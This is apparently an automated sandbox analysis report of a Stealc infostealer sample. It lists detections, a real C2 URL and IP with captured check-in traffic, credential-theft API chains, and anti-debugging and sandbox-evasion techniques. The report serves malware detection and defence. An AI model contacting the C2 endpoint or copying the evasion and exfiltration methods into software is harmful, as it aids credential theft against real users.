Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1524420
MD5:	9267e551326d9f70ca969543647f060b
SHA1:	19a3f3bff029fb895b5d256d6d6a4cce1e5d8a85
SHA256:	4ffb89ed6560f1f1e8c683cd4451982c9588cf8ac2846f652ba88e611dc639bd
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 1164 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9267E551326D9F70CA969543647F060B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2091004955.000000000088E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2050199522.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 1164	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1164	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.f00000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T19:07:57.397568+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.f00000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00F0C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F09AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00F09AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F07240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00F07240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F09B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00F09B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F18EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00F18EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00F138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F14910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F14910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00F0DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00F0E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F14570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00F14570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00F0ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F0F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F13EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00F13EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0F68A FindFirstFileA,	0_2_00F0F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00F0BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F0DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F0DE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 37 46 42 30 32 30 37 43 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 2d 2d 0d 0a Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="hwid"F77FB0207C0F807656615------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="build"doma------ECGDHIDAAFHIIDGDBFIE--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F04880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00F04880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 37 37 46 42 30 32 30 37 43 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 2d 2d 0d 0a Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="hwid"F77FB0207C0F807656615------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="build"doma------ECGDHIDAAFHIIDGDBFIE--

Source: file.exe, 00000000.00000002.2091004955.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2091004955.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2091004955.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2091004955.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpTW
Source: file.exe, 00000000.00000002.2091004955.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpxv
Source: file.exe, 00000000.00000002.2091004955.00000000008E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BB192	0_2_013BB192
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186	0_2_012C8186
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012BF1CC	0_2_012BF1CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0121B8D8	0_2_0121B8D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012410DF	0_2_012410DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C322F	0_2_012C322F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01362A9E	0_2_01362A9E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0123DAE4	0_2_0123DAE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01231DCF	0_2_01231DCF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01345C38	0_2_01345C38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C9C1C	0_2_012C9C1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129C4BA	0_2_0129C4BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C175A	0_2_012C175A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012ADE23	0_2_012ADE23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118DE78	0_2_0118DE78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012CB6B4	0_2_012CB6B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013686EE	0_2_013686EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01360ECE	0_2_01360ECE

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00F045C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xmtfkgun ZLIB complexity 0.9947668224116359

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2050199522.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F18680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00F18680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F13720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00F13720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\C411JGDX.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1793024 > 1048576

Source: file.exe

Static PE information: Raw size of xmtfkgun is bigger than: 0x100000 < 0x18fa00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.f00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xmtfkgun:EW;toxpwvxv:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xmtfkgun:EW;toxpwvxv:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F19860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00F19860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1bb8f1 should be: 0x1c35f2

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xmtfkgun
Source: file.exe	Static PE information: section name: toxpwvxv
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0133D11F push 0755C316h; mov dword ptr [esp], edx	0_2_0133D146
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0133810A push esi; mov dword ptr [esp], edx	0_2_01338156
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0136794A push ebp; mov dword ptr [esp], 6BC3CA82h	0_2_01367984
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0136794A push eax; mov dword ptr [esp], ecx	0_2_01367A0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BE99E push ebx; mov dword ptr [esp], ecx	0_2_011BEA0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BE99E push ebx; mov dword ptr [esp], eax	0_2_011BEA56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BE99E push 573C248Eh; mov dword ptr [esp], ecx	0_2_011BEAAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BE99E push ecx; mov dword ptr [esp], edx	0_2_011BEB22
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BB192 push edi; mov dword ptr [esp], ecx	0_2_013BB276
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BB192 push esi; mov dword ptr [esp], eax	0_2_013BB28C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BB192 push edx; mov dword ptr [esp], 1207F155h	0_2_013BB2A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push 2971D7EEh; mov dword ptr [esp], ebp	0_2_012C81B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push edx; mov dword ptr [esp], 2D1A8914h	0_2_012C81CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push ebp; mov dword ptr [esp], esi	0_2_012C81EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push ebp; mov dword ptr [esp], 7EE7E611h	0_2_012C820A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push edx; mov dword ptr [esp], eax	0_2_012C8254
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push 61F7E6F3h; mov dword ptr [esp], edi	0_2_012C82B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push ebx; mov dword ptr [esp], 1093CAA1h	0_2_012C82E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push ebx; mov dword ptr [esp], edx	0_2_012C82EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push edx; mov dword ptr [esp], edi	0_2_012C82FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push ebp; mov dword ptr [esp], eax	0_2_012C8366
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push ebp; mov dword ptr [esp], edx	0_2_012C8386
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push 30A3B386h; mov dword ptr [esp], esi	0_2_012C83B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push eax; mov dword ptr [esp], 76FFBFC7h	0_2_012C8498
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push esi; mov dword ptr [esp], 3B7D5FBBh	0_2_012C84E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push ebx; mov dword ptr [esp], edx	0_2_012C8713
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push 37D27409h; mov dword ptr [esp], edi	0_2_012C879C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push ebp; mov dword ptr [esp], 50C93677h	0_2_012C882A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push 4127DC00h; mov dword ptr [esp], eax	0_2_012C8862
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push 36E5EE3Ah; mov dword ptr [esp], ebp	0_2_012C886F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012C8186 push 2172076Bh; mov dword ptr [esp], esi	0_2_012C89DE

Source: file.exe

Static PE information: section name: xmtfkgun entropy: 7.9523327915554285

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00F19860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13639

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C481F second address: 12C4823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4823 second address: 12C4827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4827 second address: 12C482D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C482D second address: 12C4843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF674E409BAh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4843 second address: 12C4847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4847 second address: 12C484B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D05C7 second address: 12D05CF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0735 second address: 12D0759 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FF674E409B6h 0x00000009 jmp 00007FF674E409C7h 0x0000000e popad 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D376A second address: 12D376E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
